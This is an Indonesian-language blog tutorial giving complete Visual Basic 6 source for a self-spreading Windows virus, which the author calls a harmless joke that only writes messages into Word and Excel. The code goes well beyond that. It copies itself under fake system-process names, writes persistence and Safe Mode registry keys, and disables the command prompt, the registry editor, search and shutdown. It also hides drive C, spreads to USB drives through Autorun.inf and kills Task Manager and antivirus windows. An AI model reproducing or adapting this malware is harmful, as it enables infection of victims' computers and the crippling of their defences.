Virus For MsWord Etc

Program kita kali ini adalah membuat Virus sederhana yaitu hanya mengganggu Microsoft Office Word dan Excel.Misalkan user membuka Word maka pada kertas tempat mengetik sudah muncul pesan dari Virus demikian pula jika membuka Excel maka pesan akan diberikan virus pada cell Excel. Sederhana sekali ya..ya memang virus ini tidak merusak dokumen/file-file dan tidak mengahpus file-file apapun jadi virus yang sangat baik hati..he..he..Jika anda ingin menambahkan fiture-fiture yang kejam silahkan saja tapi disini/virus ini tidak saya tuliskan bagaimana melakukan format atau delete file ataupun fiture penyusupan lainnya (sekarang belum saatnya).Silahkan dicoba dijamin 100% tidak ada data yang dihapus, ini hanya sebuah virus permainan saja kok..berani mencoba?

Yang dibutuhkan dalam pembuatan project ini adlah : 5 buah timer dan 1 drivelistbox

Pada proyek kali ini kita dapat belajar mengenai Windows Api Sendmessage, registry, dan Otomatisasi pada Word serta Excel. Semoga bermanfaat.

Masukan semua code di bawah ini pada form

==========================================

Private Declare Function FindWindow Lib “user32” Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long ‘pencari Kleas dan Window Name Suatu File

Private Declare Function SendMessage Lib “user32” Alias “SendMessageA” (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long ‘sendmessage

Private Declare Function GetDriveType& Lib “Kernel32” Alias “GetDriveTypeA” (ByVal nDrive As String) ‘ penghandel flashdisk

Private Declare Function ExitWindowsEx Lib “user32” (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long ‘exit windows

Private Const WM_CLOSE = &H10

Private Const EWX_LOGOFF = 0

Private Const EWX_SHUTDOWN = 1

Private Const EWX_REBOOT = 2

Private Const EWX_FORCE = 4

Private Const EWX_POWEROFF = 8

Option Explicit

Dim FWnd

Dim obj As Object

Dim doc As Object

Dim WrkBook As Object

Dim WrkSheet As Object

Dim i As Integer

Dim RegRun

Dim FolderStartUp

Dim FolderMyDocuments

Dim FolderTemplates

Dim FolderNetHood

Dim FolderPrintHood

Dim FolderFavorites

Dim FolderSendTo

Dim FolderPrograms

Dim FlashDisk

Private Sub Form_Load()

On Error Resume Next

‘acak caption virus shg caption akan berubah setiap windows startup atau virus tereksekusi

Randomize

Me.Caption = Int(Rnd * 2221189331445#) ‘silahkan masukan angka sesuka anda

‘menggandakan diri

GandakefolderIstimewa

Me.Visible = False

App.TaskVisible = False ‘virus tidak terlihat di task manager

InfeksiRegistry

End Sub

Sub BuatWord()

On Error Resume Next

Set obj = CreateObject(“word.application”)

Set doc = CreateObject(“word.application”)

Set doc = obj.Documents.Add

doc.Content = “VIRUS BERHASIL MENGINFEKSIMU – SALAM KENAL”

End Sub

Sub BuatXls()

On Error Resume Next

Set obj = CreateObject(“excel.application”)

Set WrkBook = obj.workbooks.Add

Set WrkSheet = WrkBook.worksheets.Add

WrkSheet.Cells(15, 4) = “VIRUS BERHASIL MENGINFEKSIMU – SALAM KENAL”

End Sub

Sub InfeksiRegistry()

On Error Resume Next

RegRun.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell”, “Explorer.exe” & ” “”” & FolderMyDocuments & “\services.exe””” ‘virus akan tetap berjalan pada tipe windows Safe Mode

RegRun.regwrite “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell”, FolderFavorites & “\SalamKenal.exe” ‘virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt

RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, “REG_DWORD” ‘Folder Options tdk dapat diakses

RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, “REG_DWORD” ‘Folder Options tdk dapat diakses

RegRun.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, “REG_DWORD” ‘Sembunyikan file beratribut superhidden/File-file system

RegRun.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, “REG_DWORD” ‘Sembunyikan file beratribut superhidden/File-file system

RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD”, 1, “REG_DWORD” ‘Disable CMD dan File .Bat

RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD”, 1, “REG_DWORD” ‘Disable CMD dan File .Bat

RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, “REG_DWORD” ‘registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg

RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, “REG_DWORD” ‘registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg

RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon”, FolderTemplates & “\smss.exe” ‘smss.exe berjalan pada saat startup

RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon”, FolderSendTo & “\System.exe” ‘System.exe berjalan pada saat startup

RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind”, 1, “REG_DWORD” ‘search pd star menu hilang

RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind”, 1, “REG_DWORD” ‘Ssearch pd star menu hilang

RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp”, 1, “REG_DWORD” ‘help suport pd star menu hilang

RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp”, 1, “REG_DWORD” ‘help suport pd star menu hilang

RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose”, 1, “REG_DWORD” ‘Tombol Turn Off pd star menu hilang

RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose”, 1, “REG_DWORD” ‘Tombol Turn Off pd star menu hilang

RegRun.regwrite “HKEY_CURRENT_USER\Control Panel\Colors\WindowText”, “255 0 0”, “REG_SZ” ‘DEFAULT TEKS MENJADI MERAH

RegRun.regwrite “HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\”, FolderFavorites & “\SalamKenal.exe” ‘Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak di Folder Favorite

RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives”, 4, “REG_DWORD” ‘Drive C hilang

RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives”, 4, “REG_DWORD” ‘Drive C hilang

RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu”, 1, “REG_DWORD” ‘Menu File pada Windows Ekplorer hilang

RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu”, 1, “REG_DWORD” ‘Menu File pada Windows Ekplorer hilang

RegRun.regwrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun”, 1, “REG_DWORD” ‘Autorun pada CD atau USB

End Sub

Sub GandaKeFlashDisk()

On Error Resume Next

If Dir(FlashDisk & “\Winlogon.exe”) <> “Winlogon.exe” Then ‘mengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada kemudian

FileCopy FolderStartUp & “\Winlogon.exe”, FlashDisk & “\Winlogon.exe”

SetAttr FlashDisk & “\Winlogon.exe”, vbHidden + vbSystem + vbReadOnly

End If

BuatFileAutorunInf

End Sub

Sub BuatFileAutorunInf()

‘membuat file Autorun.inf ke flashdisk yang berfungsi agar setiap flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus (winlogon.exe) akan tereksekusi

On Error Resume Next

Open FlashDisk & “\Autorun.Inf” For Output As 1

Print #1, “[AutoRun]”

Print #1, “Icon=Winlogon.exe” ‘Agar FlashDisk Memiliki Icon Sama dengan Virus

Print #1, “Open=Winlogon.exe”

Print #1, “ShellExecute=Winlogon.exe”

Print #1, “Shell\Open\Command=Winlogon.exe”

Print #1, “Shell=Open”

Close #1

SetAttr FlashDisk & “\Autorun.Inf”, vbHidden + vbSystem + vbReadOnly

End Sub

Sub GandakefolderIstimewa()

On Error Resume Next

Set RegRun = CreateObject(“WScript.Shell”)

FolderStartUp = RegRun.specialfolders(“StartUp”)

FolderMyDocuments = RegRun.specialfolders(“MyDocuments”)

FolderTemplates = RegRun.specialfolders(“Templates”)

FolderNetHood = RegRun.specialfolders(“NetHood”)

FolderPrintHood = RegRun.specialfolders(“PrintHood”)

FolderFavorites = RegRun.specialfolders(“Favorites”)

FolderSendTo = RegRun.specialfolders(“SendTo”)

FolderPrograms = RegRun.specialfolders(“Programs”)

On Error Resume Next

‘membuat virus dengan nama winlogon.exe

FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderStartUp & “\WinLogon.Exe”

SetAttr FolderStartUp & “\Winlogon.exe”, vbHidden + vbSystem + vbReadOnly

‘membuat virus dengan nama services.exe

FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderMyDocuments & “\services.Exe”

SetAttr FolderMyDocuments & “\services.exe”, vbHidden + vbSystem + vbReadOnly

‘membuat virus dengan nama smss.exe

FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderTemplates & “\smss.Exe”

SetAttr FolderTemplates & “\smss.Exe”, vbHidden + vbSystem + vbReadOnly

‘membuat virus dengan nama csrss.exe

FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderPrintHood & “\csrss.Exe”

SetAttr FolderPrintHood & “\csrss.exe”, vbHidden + vbSystem + vbReadOnly

‘membuat virus dengan nama Isass.exe

FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderNetHood & “\Isass.Exe”

SetAttr FolderNetHood & “\Isass.exe”, vbHidden + vbSystem + vbReadOnly

‘membuat virus dengan nama SalamKenal.exe

FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderFavorites & “\SalamKenal.Exe”

SetAttr FolderFavorites & “\SalamKenal.exe”, vbHidden + vbSystem + vbReadOnly

‘membuat virus dengan nama System.exe

FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderSendTo & “\System.Exe”

SetAttr FolderSendTo & “\System.exe”, vbHidden + vbSystem + vbReadOnly

‘membuat virus dengan nama ctfmon.exe

FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderPrograms & “\ctfmon.Exe”

SetAttr FolderPrograms & “\ctfmon.exe”, vbHidden + vbSystem + vbReadOnly

End Sub

Private Sub Timer1_Timer() ‘Timer 1 diberi interval 5 detik

On Error Resume Next

FWnd = FindWindow(“OpusApp”, “Document1 – Microsoft Word”) ‘Ms Word

If FWnd <> 0 Then

SendMessage FWnd, WM_CLOSE, True, True

BuatWord

obj.Visible = True

Timer2.Enabled = True

Timer1.Enabled = False

End If

On Error Resume Next

FWnd = FindWindow(“OpusApp”, “New Microsoft Word Document.doc – Microsoft Word”) ‘Ms Word

If FWnd <> 0 Then

SendMessage FWnd, WM_CLOSE, True, True

BuatWord

obj.Visible = True

Timer2.Enabled = True

Timer1.Enabled = False

End If

End Sub

Private Sub Timer2_Timer()

On Error Resume Next

FWnd = FindWindow(“XLMAIN”, “Microsoft Excel – Book1”) ‘ms excel

If FWnd <> 0 Then

SendMessage FWnd, WM_CLOSE, True, True

BuatXls

obj.Visible = True

Timer1.Enabled = True

Timer2.Enabled = False

End If

On Error Resume Next

FWnd = FindWindow(“XLMAIN”, “Microsoft Excel – New Microsoft Excel Worksheet.xls”) ‘ms excel

If FWnd <> 0 Then

SendMessage FWnd, WM_CLOSE, True, True

BuatXls

obj.Visible = True

Timer1.Enabled = True

Timer2.Enabled = False

End If

End Sub

Private Sub Timer3_Timer()

On Error Resume Next

‘menutup aplikasi yang berbahaya bagi virus

FWnd = FindWindow(“#32770”, “RUN”) ‘jendela run

SendMessage FWnd, WM_CLOSE, 0&, 0&

FWnd = FindWindow(“#32770”, “System Configuration Utility”) ‘msconfig

SendMessage FWnd, WM_CLOSE, 0&, 0&

FWnd = FindWindow(“#32770”, “Windows Task Manager”) ‘task manager

SendMessage FWnd, WM_CLOSE, 0&, 0&

FWnd = FindWindow(“#32770”, “Avira AntiVir Personal – Free Antivirus”) ‘Avira Antivir

SendMessage FWnd, WM_CLOSE, 0&, 0&

FWnd = FindWindow(“#32770”, “AntiVir Guard: Attention, Detection!”) ‘Avira Antivir

SendMessage FWnd, WM_CLOSE, 0&, 0&

FWnd = FindWindow(“RegEdit_RegEdit”, vbNullString) ‘regedit.exe

SendMessage FWnd, WM_CLOSE, 0&, 0&

FWnd = FindWindow(“TMainForm”, vbNullString) ‘aplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) <:d

SendMessage FWnd, WM_CLOSE, 0&, 0&

FWnd = FindWindow(“TApplication”, vbNullString) ‘aplikasi buatan Delphi

SendMessage FWnd, WM_CLOSE, 0&, 0&

End Sub

Private Sub Timer4_Timer()

‘cari flashdisk

On Error Resume Next

For i = 0 To Drive1.ListCount – 1

If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> “a” Then

FlashDisk = (Drive1.List(i))

Timer4.Enabled = False ‘agar lampu flashdisk tdk berkedip-kedip terlalu lama, sehingga tdk mencurigakan si empunya flashdisk

Exit For

End If

Next

GandaKeFlashDisk ‘

End Sub

Private Sub Timer5_Timer()

On Error Resume Next

InfeksiRegistry

‘Mungkin salah satu virus dihapus shg perlu selalu menggandakan diri

GandakefolderIstimewa

‘menyalakan timer 4

If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> “a” Then

Timer4.Enabled = True

End If

End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

Cancel = 1

End Sub

Private Sub Form_Unload(Cancel As Integer)

Cancel = 1

End Sub

Silahkan Download Project Di Download/Upload Gratis Join 4Shared Now!, Tetapi sebelumnya jika anda berkenan berikan rating pada artikel ini dengan mengklik tanda bintang di bawah ini, agar saya mengetahui artikel yang paling menarik untuk penulisan selanjutnya. Terimakasih.